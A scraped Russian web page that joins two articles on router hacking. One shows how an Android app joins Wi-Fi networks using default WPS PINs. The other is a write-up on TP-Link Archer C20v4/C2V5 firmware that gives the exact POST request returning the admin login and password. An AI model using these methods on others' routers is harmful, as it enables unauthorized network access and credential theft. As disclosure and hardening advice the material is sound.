Взламываем роутер tp link

Взлом соседского вай-фая через WPS с мобильного

Ладно, слукавил. Речь не про соседский вай-фай, а про свой собственный. Но это гораздо обиднее. Особенно мне, считавшего себя неплохо разбирающимся в вопросах информационной безопасности.

А началось всё с чтения разных статей и обзора программ под android — у меня был старый смартфон, которому надо было найти применение.

Применение нашлось с помощью программы WPS Wifi Checker Pro. Это специальная программа, с помощью которой можно взламывать вай-фай сети. Если точнее, то взлома не происходит: программа попросту сканирует точки wi-fi и пытается к ним подключиться, зная заводские коды от WPS (WPS-pin).

WPS Checker Pro хорош тем, что заводские коды он перебирает не все подряд, а только подходящие по фирме-производителю. Глупо же пытаться кормить роутер TP-Link кодами от Zyxel или Asus! А некоторые другие программы из Google Play (типа WiFi Warden) именно так и делают.

В основном окне программы WPS Wifi Checker Pro отображаются все точки доступа wifi в зоне видимости. Для каждой точки программа отображает название, MAC-адрес, фирму-производителя оборудования, доступные протоколы подключения и уровень сигнала. Если отметить пункт WPS Filter, то программа скроет точки с отключённым WPS. Под каждой точкой указывается количество известных программе WPS-кодов для этого оборудования. Если оборудование неизвестное, то и с кодами облом.

Короче, сижу я, сканирую wi-fi сети. Нахожу более десятка, в том числе и свою. Программа бодро рапортует: для моей сети есть 1 WPS-код, для парочки чужих есть больше кодов, что-то около 10. Проверяю свою сеть и… Код подходит! Смартфон, который раньше никогда не подключался к этой точке, спокойно начал посасывать через неё интернет, без ввода пароля.

о_О В смысле?!

Офигеваю, достаю маршрутизатор от TP-Link, быстренько настраиваю, перепроверяю работоспособность программы на нём. Там программе известно 4 кода, но самый же первый подходит и телефон подсасывается к вайфаю от тплинка.

Уличная вай-фай магия, не иначе!

Небольшое отступление для менее технически двинутых: все роутеры, которые вы так заботливо настраиваете и запароливаете, имеют функцию WPS — wifi protected setup. И в некоторых (очень многих, кстати) моделях маршрутизаторов эта функция не отключена изначально. Для подключения к WPS используется код из восьми цифр. И многие производители используют стандартные коды для всех моделей.

Читайте также:  Перезагрузка роутера keenetic omni

Для роутера от Asus программа знала всего один код, но именно он и подошёл. Подошёл и к домашнему, и к лабораторному роутеру. Плевать на разные названия точек доступа, на заковыристые пароли вай-фай сетей, на сложные пароли доступа в админ-панель — всего восемь цифр и ты в сети. И эти цифры даже подбирать не нужно, они стандартные для очень многих устройств и производителей.

Штука в том, что для этого не нужен рут, не нужны никакие левые apk-файлы и навыки элитного хакерства. Обычное приложение из Google Play сделает любого школоло крутым хакером, способным подключиться к твоему вайфаю. И это стрёмно.

Окей, пароль от вайфая злоумышленник в чистом виде получить не может. Для этого вроде как нужен рут на андроиде (это, в принципе, несложно, но доступно уже не всем подряд). В админку роутера без пароля тоже не попасть, если стандартный пароль заменили на свой. Но обозреть сетевое окружение вполне удастся. И попользовать чужой интернет тоже.

Набор «элитного хакера» состоит из трёх программ:

  • WPS Wifi Checker Pro — подключается к точкам по известным WPS-кодам производителя
  • Wifi Analyzer — позволяет сканировать уровень сигнала конкретной точки, чтобы найти наиболее выгодное положение в пространстве для приёма интернета
  • Speedtest — позволяет оценить скорость интернета

Вы понимаете, что вообще происходит? Это программы, которые скачиваются из официального гугл-плея на раз-два. Без СМС и регистрации, так сказать. Абсолютно любой пользователь Android-смартфона это может.

В обычном режиме Speedtest предназначен для замеров скорости доступа. Это, кстати, именно по его результатам Мегафон считается «самым быстрым мобильным».

А Wifi Analyzer обычно используется для проверки покрытия точки доступа, для мониторинга занятости wifi-каналов и прочих полезных дел.

Автор программы WPS Wifi Checker Pro особо подчёркивает, что программой надо пользоваться исключительно в исследовательских целях и не делать ничего противозаконного. И я, конечно же, проверял только свои собственные точки. Но сам, сука, факт!

Восемь цифр и ты в сети, в обход пароля на вай-фай!

Причём на самом роутере даже нажимать ничего не надо. Такой подставы от роутеров Asus я не ожидал. Я знал, что надо хорошо паролить админ-панель маршрутизатора и делать сложный пароль на wifi, но то, что можно спокойно подключиться к вайфаю через WPS в обход пароля стало для меня откровением. Вторым откровением стало то, что проделать это можно с самого обычного Android-смартфона, не обладая никакими специальными хакерскими талантами.

Читайте также:  Падает скорость интернета через роутер мтс

Справедливости ради, это не взлом. Это эксплуатация разгильдяйства фирмы-производителя маршрутизатора и самого владельца роутера. Если wps отключен, то войти не получится. Если wps-пин отличается от заводского, то войти тоже не получится.

Программа, конечно, умеет перебирать коды по заданным алгоритмам, но после 12-15 попыток сдаётся. В среднем она перебирает 9 вариантов за минуту, если роутер своевременно отвечает. С такой скоростью брутфорс-атака по всем возможным 90 миллионам комбинаций займёт 19 лет круглосуточной работы.

То есть нет смысла целенаправленно взламывать конкретную точку через WPS, если он включён, но код изменён на неизвестный. А получить хоть чей-нибудь (неважно, чей) интернет нахаляву злоумышленнику вполне удастся. Но не всегда и не везде.

Что же делать-то? Как защититься?

Надо зайти в админку роутера и вырубить к чертям этот WPS. Потому что он ни разу не protected. А ещё, до кучи, лучше после этого сменить пароль на вайфай. На всякий случай.

Смотрите также

Источник

Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.

Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.

Что имеем:

  1. Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
  2. Внешний ip адрес на wan интерфейсе и открытый web доступ.
  3. Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
  4. Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.

Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.

Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.

Читайте также:  Keenetic giga перезагрузка роутера

Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2( и 7), «[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]» и особый referer.

Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?

grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);

Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:

 function doSetUsrName() < var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() < if (xmlHttpObj.status == 200) < getUsrName(); >else return; >); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); > 

Эта функция при выполнении вызывает другую — getUsrName().

 function getUsrName() < var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() < if (xmlHttpObj.status == 200) < currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); >else return; >); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); > 

Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)

grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 

Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:

Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.

Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:

data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )

По аналогии формируем свой запрос:

"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"

Ииииии отправляем. В Wireshark’e пакет выглядит вот так:

Внимательный читатель заметит, что POST-запрос был отправлен к «/cgi?1», а не как в скрипте к «/cgi?2». Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.

И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:

На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.

Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.

Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.

Источник

Оцените статью
Adblock
detector